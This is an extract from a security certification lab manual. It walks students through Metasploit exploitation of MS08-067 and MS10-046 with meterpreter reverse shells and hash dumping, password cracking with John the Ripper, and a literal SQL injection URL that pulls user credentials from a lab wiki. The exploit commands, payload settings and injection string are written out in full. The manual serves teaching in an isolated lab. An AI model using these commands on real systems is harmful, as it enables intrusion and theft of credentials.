Lab 4.4l: Using the Metasploit Framework In this lab you will be using MSF to exploit a vulnerability described in Microsoft Bulletin MS08-067.
This exercise will include the use of meterpreter (which stands for meta interpreter). Meterpreter is
the tool used for delivering exploit payloads to a machine that is vulnerable. This vulnerability enables
an attacker to remotely execute code without restriction. This can allow an attacker to have access to
the “keys to the kingdom,” the password hashes, which can later be cracked and then used to gain full
access to the system and network.
Materials and Setup You will need the following:
Windows XP Professional•
BackTrack•
Lab Steps at a Glance
Step 1: Log on to both the BackTrack and Windows XP Professional PCs.
Step 2: Configure Metasploit.
Step 3: Run the exploit.
Step 4: Log off from both the BackTrack and Windows XP Professional PCs.
Lab Steps
Step 1: Log on to both the BackTrack and Windows XP Professional PCs.
To log on to the Windows XP Professional PC:
1. At the Login screen, click the Admin icon.
2. In the password text box, type password and press enter.
ch04.indd 108 11/17/10 10:15:36 AM
Lab 4.4l: Using the Metasploit Framework 109
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
To log on to the BackTrack PC:
1. At the login prompt, type root and press enter.
2. At the password prompt, type toor and press enter.
Step 2: Configure Metasploit.
1. At the command line, type startx and press enter.
2. In the taskbar, click on the Konsole icon.
➜ Note
In general it is good to update the exploit database by using the command msfupdate. You will
not be doing that for this exercise because your machines will not be connected to the Internet.
3. In the Konsole window, type msfconsole and press enter. See Figure 4-4.
Figure 4-4 The Metasploit console
ch04.indd 109 11/17/10 10:15:37 AM
Chapter 4: Penetration Testing110
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
➜ Note
This may take a few minutes to start up.
4. In the msf prompt, type help and press enter.
This displays the commands that can be used in the Metasploit console.
What command displays modules of a given type?a.
What command allows you to assign a value to a variable?b.
What command selects a module by name?c.
5. In the msfconsole, type show exploits and press enter.
This displays a long list of exploits that are available with the msfconsole. You will now configure Metasploit to use a module that exploits the MS08-067 vulnerability. This
vulnerability will allow the attacker to execute code remotely.
6. In the msfconsole, type use windows/smb/ms08_067_netapi and press enter.
The Metasploit console will display a new prompt with the name of the exploit in red. If that does not happen, then you may have typed the command incorrectly.
7. In the msfconsole, type set PAYLOAD windows/meterpreter/reverse_tcp and press enter.
You have loaded the module. Now you will look at the options and values that need to be configured.
8. In the msfconsole, type show options and press enter.
Which options listed do not have a current setting?
You will now set the IP address for the BackTrack computer (LHOST) and the Target computer (RHOST).
9. In the msfconsole, type set RHOST 192.168.100.101 and press enter.
10. In the msfconsole, type set LHOST 192.168.100.201 and press enter.
11. In the msfconsole, type show options and press enter.
Have you set the RHOST and LHOST to the correct values?
Step 3: Run the exploit.
You are now ready to run the exploit.
1. In the msfconsole, type exploit and press enter. If you configured it correctly, your prompt will change to meterpreter >.
Now take a look at what options are available with meterpreter.
ch04.indd 110 11/17/10 10:15:37 AM
Lab 4.4l: Using the Metasploit Framework 111
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
2. In the meterpreter console, type help and press enter.
Note the commands that are available. We will execute several of them next.
3. In the meterpreter console, type sysinfo and press enter.
What information does this command return?
4. In the meterpreter console, type screenshot and press enter.
A screenshot of the Windows XP machine will be saved to the desktop. If the screenshot does not open automatically, click the JPEG file on the desktop.
Did you get the screenshot of the Windows XP machine?
5. In the meterpreter console, type hashdump and press enter.
You have just captured the password hashes from the Windows XP machine. You can now save the hashes to be cracked with another utility.
6. Highlight the hash values and choose Edit | Copy.
7. In the command box in the taskbar, type kwrite and press enter, as shown here.
8. In kwrite, choose Edit | Paste.
9. In kwrite, choose File | Save
10. In the Location box, type hashes and click Save.
With the hashes now saved, an attacker can discover the passwords that are being used and further
exploit this system and possibly others on the network.
Step 4: Log off from both the BackTrack and Windows XP Professional PCs.
At the BackTrack PC:
1. Choose K Menu | Log Out.
2. Click OK.
3. At the command line, type logout and press enter.
At the Windows XP Professional PC:
1. Choose Start | Log Off.
2. At the Log Off Windows screen, click Log Off.
ch04.indd 111 11/17/10 10:15:37 AM
Chapter 4: Penetration Testing112
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
Lab 4.4 Analysis Questions The following questions apply to the lab in this section:
1. What is the Metasploit Framework and what is it used for?
2. How might attackers use the Metasploit Framework tool used by penetration testers?
Lab 4.4 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
exploits
Metasploit Framework (MSF)
payload
penetration testers
plugins
1. To test the security of a network, _______________________ use the ____________________________.
2. As new vulnerabilities are created, new ___________________ are developed and then made available for use with MSF by downloadable ________________.
3. The ________________ is the actual code that is executed after a successful use of MSF.
Follow-Up Lab Lab 4.5: Password Cracking• Now that you have the hashes, see if you can determine the actual passwords.
Suggested Experiments 1. In previous labs, you researched the vulnerability MS08-067 and saw that it was a
vulnerability for Windows 2003 Server. In this lab, you used the exploit instead on the
Windows XP machine. Now that you have used it on the Windows XP machine, see if you can
get it to work on the Windows 2003 Server machine.
2. Research vulnerabilities on the Metasploitable machines and see if you can use Metasploit to compromise it.
3. Install Metasploit on a Windows computer. Use Metasploit from the Windows machines. See if there is any significant difference. Which platform do you prefer and why?
ch04.indd 112 11/17/10 10:15:37 AM
Lab 4.5: Password Cracking 113
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
References Metasploit• www.metasploit.com
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 15
Lab 4.5: Password Cracking Access to most networks is restricted by user account and password combinations. Many networks
have user account conventions that are easy to figure out, such as last name, first initial (for example,
John Smith’s user ID would be smithj). That being the case, the only obstacle to getting access to the
network and to a user’s files is figuring out the user’s password. Despite all the network defenses that
may be up, a compromised password can bypass them all. Of all the passwords that an attacker covets,
he most covets the Administrator password. The Administrator password is the equivalent of the keys
to the kingdom. With this password, a person is able to modify the machine in any way, access any
information on the machine, and use that machine to get other passwords or attack other machines on
the network.
One way of getting passwords is to crack them. There are two steps to password cracking. First you
have to obtain the hash of the password that will be stored on the computer. The hash is a value that is
calculated by processing the text of a password through an algorithm. With a good hashing algorithm,
there should be no way to determine the password from the hash. The second step is to actually crack
the password. Since there is no way to determine the password from the hash, you might wonder how a
cracking program works.
Although the cracking program does not know how to reverse the hash back to the password,
it does know the algorithm to create a password from a hash. As such, it can process any word or
combination of characters and generate its hash. It then compares the captured hash with the one it
just generated. If the hashes match, then it has found the password. If the hashes do not match, the
program continues. One popular way to generate hashes and search for passwords is with a dictionary
attack, which uses a dictionary file that contains a list of words that are commonly used as passwords.
Dictionary files vary in size. A password that is in a dictionary file can be cracked in seconds. A hybrid
attack is an attack that uses other techniques in conjunction with a dictionary attack. This type of
attack may attempt to combine words that are in the dictionary in order to get passwords that are made
up of two or more dictionary words.
Another type of attack is a brute-force attack, which tries every possible combination of characters
that can be used in sequence. A brute-force attack can take days or even months, depending on the
strength of the password and the processing power of the computer doing the cracking. Attackers can
speed up the process by using a distributed password-cracking program. This type of cracking program
divides the processing among two or more computers. The more computers involved in the attack, the
faster the password will be cracked.
ch04.indd 113 11/17/10 10:15:38 AM
Chapter 4: Penetration Testing114
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
In this lab you will create user accounts with different types of passwords. You will then use John
the Ripper to try to crack various passwords from hash files.
Learning Objectives After completing this lab, you will be able to
Create new user accounts with passwords of different strengths.•
Explain the steps necessary to crack a password.•
Explain how password hashes can be obtained.•
Explain how to perform a password-cracking attack.•
S 50 minutes
Lab 4.5l: Password Cracking
Materials and Setup You will need the following computers:
BackTrack•
In addition, you will need
John the Ripper•
Lab Steps at a Glance
Step 1: Log on to the BackTrack machine.
Step 2: Run different attacks with John the Ripper.
Step 3: Log off from the BackTrack machine.
Lab Steps
Step 1: Log on to the BackTrack machine.
1. At the login prompt, type root and press enter.
2. At the password prompt, type toor and press enter.
ch04.indd 114 11/17/10 10:15:38 AM
Lab 4.5l: Password Cracking 115
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
The following users were created on the Windows XP machine from which the password hashes
were taken.
Username Password
User1 hello
User2 123
User3 Flower
User4 Dragon
User5 hellodragon
User6 123Hello
User7 H3110123!
✔ Hint
There are other passwords besides the ones in this list for students who are looking for an extra
challenge and surprise.
Step 2: Run different attacks with John the Ripper.
John the Ripper is a password-cracking tool that is capable of performing a dictionary, hybrid, or brute-
force attack. There are also versions that can perform a distributed attack. You will use John the Ripper
to attempt to decipher the passwords from the hashes you captured.
1. At the command prompt, type john and press enter.
This will take you to the directory that the John the Ripper program resides in.
What is the full path to the John the Ripper program?
Next, you will check that the hashes file has the information it should.
2. Type cat hashes.txt and press enter.
How many password hashes do you see in the list?
Take a look at the options for John.
3. Type ./john and press enter.
What is the option to benchmark the computer?a.
What it the option to enable word mangling?b.
Now you are going to benchmark the computer to see how fast you can expect it to go through the passwords.
ch04.indd 115 11/17/10 10:15:38 AM
Chapter 4: Penetration Testing116
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
4. Type ./john –test |less and press enter.
This command sends the output to the less command. The command may take a few minutes to complete. This will allow you to scroll up and down. The output will show you the number
of crypts per second (c/s).
How many raw crypts per second will your machine do for LM DES? Be sure to multiply the number by the K, which represents the number 1024.
5. To exit the less utility, type q.
Now you will run John the Ripper with just the password file. The password file is in your current directory. Take a look at the password file that comes with John the Ripper. The
command less will show you the contents of a file one page at a time. You can use the spacebar
or the cursor keys to move forward through the file.
6. At the command line, type less password.lst and press enter.
Look through the list.a.
Do you see any passwords that you just created on the Linux server?b.
Do you see any passwords that you have used before on other computers?c.
7. To close the less utility, type q.
8. To use only the dictionary to attack the hashes, type ./john - - wordfile=password.lst - - r u l e s hashes.txt.
Now try a hybrid attack and see what you find. In order to do that, you need to add the –rules option. You first have to delete the john.pot file. That file contains the passwords
found.
9. At the command line, type rm john.pot and press enter.
10. Type ./john –wordfile:password.lst -rules hashes.txt and press enter.
List the words that John discovered this time.a.
Did it find more words or fewer?b.
Now you will launch a combination attack. You will do a dictionary, hybrid, and brute-force attack. This is John the Ripper’s default attack, so you will use no switches.
11. At the command line, type rm john.pot and press enter.
12. Type ./john hashes.txt and press enter. See Figure 4-5.
Observe the output. List the passwords that it finds.a.
How many more passwords did it find?b.
ch04.indd 116 11/18/10 2:41:55 PM
Lab 4.5l: Password Cracking 117
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
13. To see an update of the attack, type ./john --show hashes.txt and press enter.
Let John the Ripper run for about ten minutes to see if it finds any more passwords.a.
To see how long John the Ripper has been running and the calculations per second it has b. processed, press enter.
How many passwords did John the Ripper find at the end of ten minutes?c.
Step 3: Log off from the BackTrack PC.
At the command prompt, type exit and press enter.
Lab 4.5 Analysis Questions The following questions apply to the lab in this section:
1. Password crackers pose what kind of threat, to which characteristic of data, and in what state?
2. What are the two steps necessary to crack a password?
3. What program would an attacker use to crack a list of hashes with the filename pws.txt? What would be the command to perform a brute-force attack?
Figure 4-5 John the Ripper cracking passwords
ch04.indd 117 11/17/10 10:15:39 AM
Chapter 4: Penetration Testing118
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
4. What would be the command to perform a dictionary attack with a dictionary file named commonpw.txt? (Assume that the hashes are in a file called pwout.txt, which is in the same
directory as john and commonpw.txt.)
5. Based on this output from John the Ripper, how many calculations per second is it performing? How long has it been running?
guesses: 11 time: 0:00:07:42 (3) c/s: 3713703 trying: NJGEWOO - NONEDIA
Lab 4.5 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
brute-force attack
dictionary attack
distributed password-cracking program
hash
hybrid attack
password cracking
1. Using a file with a list of words to process hashes to see if they match the captured hash is called a _________________.
2. Going through every combination of characters that can be used for a password to generate hashes and see if they match the captured hash is called a _________________.
3. When multiple computers share in the effort to crack a password, it is called a ___________________.
Follow-Up Lab Lab 7.1: Hardening the Operating System • Find out some of the steps necessary to harden the computer against attacks.
Suggested Experiments 1. Set up a machine to run as long as possible to see how long it takes to break some of the other
passwords.
2. Try using more-robust password lists. Go to http://insanesecurity.info/blog/password- insecurity-wordlists-dictionaries. Search for and download a password list. Create some more
user accounts and passwords and see if they are detected using the new password list.
ch04.indd 118 11/17/10 10:15:39 AM
Lab 4.5l: Password Cracking 119
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
3. Get a partner and create passwords for each other to break within certain rules, and then experiment to see how difficult or easy it is to crack each other’s passwords.
Who can make the longest-lasting (cracking resistant) four-character password?•
Create easy but long passwords—over 14 characters.•
Which dictionary words take longest to break with brute force?•
References John the Ripper • www.openwall.com/john/
Password cracking • www.giac.org/certified_professionals/practicals/gsec/3017.php
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 15
ch04.indd 119 11/17/10 10:15:39 AM
This page intentionally left blank
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5 / Blind Folio 121
Attacks Against Applications
Labs Lab 5.1 Web SQL Injection•
Lab 5.l1 Web SQL Injection in Linux
Lab 5.1 Analysis Questions
Lab 5.1 Key Terms Quiz
Lab 5.2 Web Browser Exploits•
Lab 5.2m Web Browser Exploits
Lab 5.2 Analysis Questions
Lab 5.2 Key Terms Quiz
Lab 5.3 E-Mail System Exploits•
Lab 5.3m Exploiting E-Mail Vulnerabilities in Windows
Lab 5.3 Analysis Questions
Lab 5.3 Key Terms Quiz
Chapter 5
ch05.indd 121 11/17/10 10:26:26 AM
Chapter 5: Attacks Against Applications122
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
Several years ago, when attackers attacked a system or network, it was common for their attacks to be destructive in nature. Typically, they
would launch a denial-of-service attack, deface a web site, or erase data.
The motivation often was simply just for bragging rights, to prove their
capabilities. The trend more recently is for the attacks to be financially
motivated, with the goal being not to disrupt the systems and networks,
but to access them stealthily and maintain that access. This can be a
much more profitable venture.
Another trend is the move from attacking the operating system to
attacking applications. Microsoft and other operating system developers
have put a lot of attention toward making their operating systems more
secure. As such, operating systems are no longer the low-hanging fruit
that attackers go after. There are thousands of applications and services
that can be attacked and used as a means to gain further access to networks
and systems.
The labs in this chapter demonstrate attacks against applications such
as SQL databases, web browsers, and e-mail applications.
➜ Note
Instructions for setting up all environments used in this chapter can be found on the book’s
companion online learning center at www.securityplusolc.com.
Lab 5.1: Web SQL Injection Web sites today have become more sophisticated and must handle lots of different information and store
it in a database. One common type of database that is used for many web sites is a SQL database. SQL
(pronounced either “sequel” or “S-Q-L”) stands for Structured Query Language. It is a computer language
used for designing and managing databases. Users can pass queries to the SQL database to retrieve
information. When SQL receives a request for information, it checks whether the information exists and
whether the person making the request has the permissions to see the information. However, a flaw can
exist in a request for information that is called incomplete mediation. Incomplete mediation is when
an inappropriate request is made for information but the application does not prevent the action. A SQL
ch05.indd 122 11/17/10 10:26:26 AM
Lab 5.1li: Web SQL Injection in Linux 123
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
injection attack exploits incomplete mediation in an application. Code is “injected” into a query and the
database processes the invalid data.
In the following lab exercise, you will be executing a SQL injection attack on a wiki, a type of web
site that enables users to easily create and edit web pages. These web pages can be edited by groups of
people through a web browser, typically to document information, as done on the most popular wiki,
Wikipedia. The SQL injection will be used to retrieve an MD5 hash of a password. That hash will then
be matched with a rainbow table to retrieve the actual password. A rainbow table is a list of hashes
converted to plaintext. This speeds up the time it takes to crack a password, if a match for the hash
exists in the rainbow table.
✖ Warning
While this lab demonstrates how an SQL injection works, it is for educational purposes only.
Executing such an attack on a network that you are not authorized to can be unethical and have
legal consequences.
Learning Objectives After completing this lab, you will be able to
Demonstrate a SQL injection attack.•
Explain what a SQL injection is and its potential outcomes.•
S 30 minutes
Lab 5.1li: Web SQL Injection in Linux
➜ Note
This lab exercise is labeled both with an “l” and an “i.” This lab will require both the linux
machines and another machine with Internet access.
Materials and Setup You will need the following:
Metasploitable•
BackTrack•
A third computer with an Internet connection•
ch05.indd 123 11/17/10 10:26:26 AM
Chapter 5: Attacks Against Applications124
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
Lab Steps at a Glance
Step 1: Start the BackTrack and Metasploitable PCs. Only log on to the BackTrack PC.
Step 2: Visit the web site Wiki Web Help.
Step 3: Exploit the Wiki Web Help web site and retrieve the password hash.
Step 4: Find the password in the rainbow tables and access the site.
Step 5: Log off from the BackTrack PC.
Lab Steps
Step 1: Start the BackTrack and Metasploitable PCs. Only log on to the BackTrack PC.
To log on to the BackTrack PC:
At the login1. prompt, type root and press enter.
At the password prompt, type 2. toor and press enter.
Step 2: View the web site Wiki Web Help.
On the BackTrack PC, you will need to have a graphical web browser.
Type 1. startx and press enter.
This will start up the graphical environment. When the graphical environment is fully up,
start Firefox on the client machine.
In the web browser, enter the address 2. http://linuxserv/wwh and press enter. See Figure 5-1.
Read the Introduction.a.
What state is the Wiki Web Help project in?b.
What is the current version?c.
Step 3: Exploit the Wiki Web Help web site and retrieve the password hash.
Now that you know what that web site is about, you will attack it and exploit it.
The information about this vulnerability and exploit is available at www.exploit-db.com/
exploits/14217/. The exploit that you are going to use is a SQL attack against the site. It exploits the site
by sending commands that the site is not programmed to handle. As a result the site will be “tricked”
into revealing information about the accounts of users on the site.
In Firefox, type the URL 1. http://linuxserv/wwh/handlers/getpage.php?id=9999999+UNION+ SELECT+1,CONCAT_WS(0x3a,user_name,password),3,4,5,6,7+FROM+user+LIMIT+1 and
press enter. See Figure 5-2.
ch05.indd 124 11/17/10 10:26:26 AM
Lab 5.1li: Web SQL Injection in Linux 125
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
✔ Hint
Type the URL in a text editor and then copy and paste it. This way, if you type something
incorrectly, it is easier to fix and try again.
What information is displayed?a.
Should you be able to see this information? Why or why not?b.
Step 4: Find the password in the rainbow tables and access the site.
In the previous step, you retrieved the password hash of the admin account. To find out what that
password is, you will use a database of md5 password hashes to reverse it.
Figure 5-1 A web page with a SQL back end
Figure 5-2 Results of a SQL injection
ch05.indd 125 11/17/10 10:26:27 AM
Chapter 5: Attacks Against Applications126
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
On a machine that has access to the Internet (not the lab machines):
Open a web browser and go to the site 1. http://md5.rednoize.com, which contains the database of md5 passwords.
Copy the number following the colon (:) that was displayed on the Wiki Web Help page.2.
Paste the number in the Hash Look Up text box and click Submit.3.
What is the password that is revealed?a.
Was it a strong password?b.
The result from the previous instruction is the cleartext password to the admin account.
On the BackTrack PC, at the web page for the Wiki Web Help, click the Login link and log in 4. using the username “admin” and the password revealed in the previous step.
Are you able to log in as the admin?a.
Are you able to see the admin profile?b.
Are you able to change the admin password?c.
What other interesting things can you do?d.
Step 5: Log off from the BackTrack PC.
At the BackTrack PC command line, type logout and press enter.
Lab 5.1 Analysis Questions The following questions apply to the lab in this section:
What is a SQL injection attack and what are the potential results (impact on confidentiality, 1. integrity, availability)?
What is incomplete mediation?2.
Lab 5.1 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
databases
incomplete mediation
rainbow tables
ch05.indd 126 11/17/10 10:26:27 AM
Lab 5.2m: Web Browser Exploits 127
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
SQL
SQL injection
wiki
1. When an application fails to reject improperly formatted requests, the failure is known as ____________________.
2. ____________________ is a computer language used to manage and edit databases.
3. Databases of hashes that match to passwords are called ____________________.
Suggested Experiment Take a look at the hashes from the password-cracking lab. Enter the hashes into the rainbow table. Do
any of them return a password?
References Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 18
SQL injection attack commands• http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
Lab 5.2: Web Browser Exploits As the trend of network attacks has moved from targeting operating systems to targeting applications,
it has also moved from targeting servers to targeting clients. Because the servers have been hardened
in response to past attacks, often it is easier to get the user to perform some action that executes code
that compromises their system. For example, an attacker can set up a rogue web server and then send
a hyperlink to the server to potential victims. This can be done with an e-mail or an instant message.
Once a victim clicks the link, the rogue web server exploits how the client interacts with the server and
can gain access to the victim machine. This is a client-side attack.
Learning Objective After completing this lab, you will be able to
Demonstrate a client-side exploit and its potential effects.•
S 30 minutes
Lab 5.2m: Web Browser Exploits In this lab, you will set up a rogue web server that will gain remote access to a vulnerable system that
connects to it with a browser.
ch05.indd 127 11/17/10 10:26:27 AM
Chapter 5: Attacks Against Applications128
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
Materials and Setup You will need the following:
BackTrack•
Windows XP Professional•
Lab Steps at a Glance
Step 1: Log on to the BackTrack and Windows XP Professional machines.
Step 2: Configure Metasploit and set up a rogue web server.
Step 3: Connect to the rogue server and and run the exploit.
Step 4: Log off from the Windows XP Professional and BackTrack machines.
Lab Steps
Step 1: Log on to the BackTrack and Windows XP Professional machines.
To log on to the BackTrack PC:
At the login prompt, type 1. root and press enter.
At the password prompt, type 2. toor and press enter.
To log on to the Windows XP PC:
At the Login screen, click the Admin icon.1.
In the password text box, type 2. password and press enter.
Step 2: Configure Metasploit and set up a rogue web server.
On the BackTrack computer:
At the command prompt, type 1. msfconsole and press enter.
✔ Tip
You can save some typing by recording your msf console commands in a text file and entering
./msfconsole -r cmds_file.txt to see a list of exploits available.
Type 2. show exploits and press enter.
You will be using the Windows Shell Link exploit.
ch05.indd 128 11/17/10 10:26:28 AM
Lab 5.2m: Web Browser Exploits 129
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
To locate the exploit, type 3. search lnk and press enter.
You should see the exploit listed as
Name
windows/browser/ms10_046_shortcut_icon_dllloader
Now that you have located it, you will use it.
Type 4. use windows/browser/ms10_046_shortcut_icon_dllloader and press enter.
Check out what options are available for this exploit.
Type 5. show options and press enter.
How many options are listed?a.
Of the options listed, how many are required?b.
This exploit module will start a web server on the port indicated by the SRVPORT option and
the IP address indicated by the SRVHOST option. You will configure this exploit to start a
web server bound to the BackTrack network interface and use port 80. The default URIPATH
should be /. This option indicates that the target only has to browse to the root of the web
server to be exploited.
At the command prompt, type 6. set SRVHOST 192.168.100.201 and press enter.
Type 7. set SRVPORT 80 and press enter.
Next you will select a payload for the exploit. You will use the Metasploit Meterpreter for this.
Type 8. set PAYLOAD windows/meterpreter/reverse_tcp and press enter.
Take a look at the new options available with this payload.
Type 9. show options and press enter.
How many new options are listed?
The payload you selected was to perform a reverse TCP connection. In order for this to work,
you need to configure the LHOST (local host address) and LPORT (local port address). This is
where the exploited target (the server in this case) will call back to (your BackTrack computer).
Type 10. set LHOST 192.168.100.201 and press enter.
Next, review the options you selected. If any of the options are misconfigured, the exploit
will not work.
Type 11. show options and press enter.
Double-check that all the options are correct. Re-enter any options that need to be corrected.12.
ch05.indd 129 11/17/10 10:26:28 AM
Chapter 5: Attacks Against Applications130
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
Step 3: Connect to the rogue server and run the exploit.
Type 1. exploit and press enter.
On the Windows XP machine:
Choose Start | Internet Explorer.2.
➜ Note
If meterpreter does not indicate that a session has started, you may have to wait a few minutes
and refresh the screen.
In the address bar, type 3. http://192.168.100.201/ and press enter.
If the exploit executed correctly, you will see a Windows Explorer window open, as shown in 4. Figure 5-3.
On the BackTrack computer:
Press 5. enter to get the prompt.
Type 6. sessions and press enter.
How many sessions are open?
Type 7. sessions –i 1 and press enter.
This tells meterpreter that you want to interact with session one.
Figure 5-3 Client-side exploit executed
ch05.indd 130 11/17/10 10:26:28 AM
Lab 5.2m: Web Browser Exploits 131
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
Type 8. help and press enter.
This gives you a list of the options for interaction available.
Test any of the options you see listed.9.
Which options did you choose to test?a.
Did they work? What was the output?b.
Step 4: Log off from the Windows XP Professional and BackTrack machines.
At the Windows XP PC, choose Start | Log Off | Log Off.1.
At the BackTrack PC, type 2. logout and press enter.
Lab 5.2 Analysis Questions The following questions apply to the lab in this section:
What is a client-side attack and what are its potential effects (impact on confidentiality, 1. integrity, availability)?
In order for the exploit in this lab exercise to work, the user must go to a particular URL. 2. What methods might be used to get the user to direct a browser to the rogue web server?
Lab 5.2 Key Terms Quiz Use this key term from the lab to complete the sentence that follows:
client-side attack
Using code to exploit the software on the user machine rather than on a server is called a 1. ___________________.
Follow-Up Labs Lab 7.1: Hardening the Operating System • Now that you have seen how a computer system can be vulnerable to attack, you can find out how to properly lock it down.
Lab 9.2: Intrusion Detection Systems • This lab will show you tools and techniques for detecting attacks that may otherwise go unnoticed.
ch05.indd 131 11/19/10 10:09:49 AM
Chapter 5: Attacks Against Applications132
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
Suggested Experiments Run Wireshark and capture the traffic for the exploit. Can you identify the signature? Can 1. you use the signature for detection?
Attempt the exploit using a BackTrack PC and a different browser, such as Mozilla Firefox. 2. Does it work? Why or why not?
Attempt the same exploit on Windows Server 2003. Does it work? Why or why not?3.
Using FTP or network shares, upload a program to the server and attempt to execute the 4. program.
References Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapters 17 and 18
Remote Code Execution vulnerability•
Vulnerability in Windows Shell Could Allow Remote Code Execution• www.microsoft.com/technet/security/bulletin/ms10-046.mspx
Lab 5.3: E-Mail System Exploits E-mail is one of the most widely used applications on the Internet. More people than ever have an
e-mail address. Most people have several. Because of the convenience of e-mail, it is also a popular
means of delivering a virus or some other malicious software. Attackers who know how the e-mail
process works and how people think can use that knowledge to get people to do things that they
shouldn’t do.
One thing attackers do is spoof e-mail addresses. Spoofing means sending e-mails that look as if
they are coming from a legitimate company or person when they are not. Some viruses will even send
illegitimate e-mail from legitimate users. The “I love you” virus looked at a person’s contact list and
then sent itself as an attachment to the first 50 people listed, appearing as if it came from the person
who was infected. The individuals getting the e-mail saw “I love you” in the subject line and that it was
coming from someone they knew. As a result, they were more likely to open the e-mail attachment.
Another way that e-mail can be abused by attackers is to convince a user to run a program that
is either an attachment to the e-mail or downloaded when the user clicks on a link. The file appears
to be something harmless, like a text file, a video, or an update for some software. The file instead is
malicious software that could perhaps delete the user’s entire system directory. In this way, e-mail is
the vector of attack. A vector is a mechanism that transmits malicious code to your system.
Getting someone to do something that they would not normally do by using some kind of trickery or
lie is called social engineering. An attacker may call up the IT department and say that he is Joe Smith
in accounting and that he forgot his password. The IT department, if they are lax with their policies
ch05.indd 132 11/17/10 10:26:29 AM
Lab 5.3m: Exploiting E-Mail Vulnerabilities in Windows 133
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
and procedures, may just tell him, “Okay, we just reset your password to 123. You can log in, but you are
going to have to change it as soon as you do.”
Attackers can also craft e-mails to persuade people to do something they should not, such as make a
deposit in a bank for some “worthy” cause or reveal a password for “system maintenance.”
How the e-mail attack affects the data is dependent upon the payload of the malicious software.
It may capture information about the system and send it back to the attacker, compromising
confidentiality. It may create a copy of itself and/or modify some of the data on the system drive,
compromising integrity. Or it may erase the hard drive and compromise availability.
In this lab, you will create an e-mail that appears to be coming from a legitimate source and an
attachment that the recipient will be asked to run.
Learning Objectives After completing this lab, you will be able to
Describe how an e-mail address can be spoofed.•
Explain how the use of HTML in an e-mail can be used to spread malicious software.•
Explain how an e-mail can be crafted to convince someone to do something they should not do.•
S 30 minutes
Lab 5.3m: Exploiting E-Mail Vulnerabilities in Windows
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
Metasploitable•
Lab Steps at a Glance Step 1: Start the Windows 2003 Server, Windows XP Professional, and Metasploitable machines.
Log on to the Windows XP Professional and Windows 2003 Server machines.
Step 2: Configure Outlook Express using the Windows XP Professional PC.
Step 3: Send an e-mail from the command line.
ch05.indd 133 11/17/10 10:26:29 AM
Chapter 5: Attacks Against Applications134
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
Step 4: Retrieve the e-mail in Outlook Express.
Step 5: Check the logs on the server.
Step 6: Log off from the Windows XP Professional and Windows 2003 Server PCs.
Lab Steps
Step 1: Start the Windows 2003 Server, Windows XP Professional, and Metasploitable
machines. Log on to the Windows XP Professional and Windows 2003 Server machines.
To log on to the Windows XP Professional PC:
Click Admin at the Login screen.1.
In the password text box, type 2. password and press enter.
To log on to the Windows 2003 Server PC:
At the Login screen, press 1. ctrl-alt-del.
Enter the username 2. administrator and the password adminpass.
Click OK.3.
Step 2: Configure Outlook Express using the Windows XP Professional PC.
Choose Start | All Programs | Outlook Express.1.
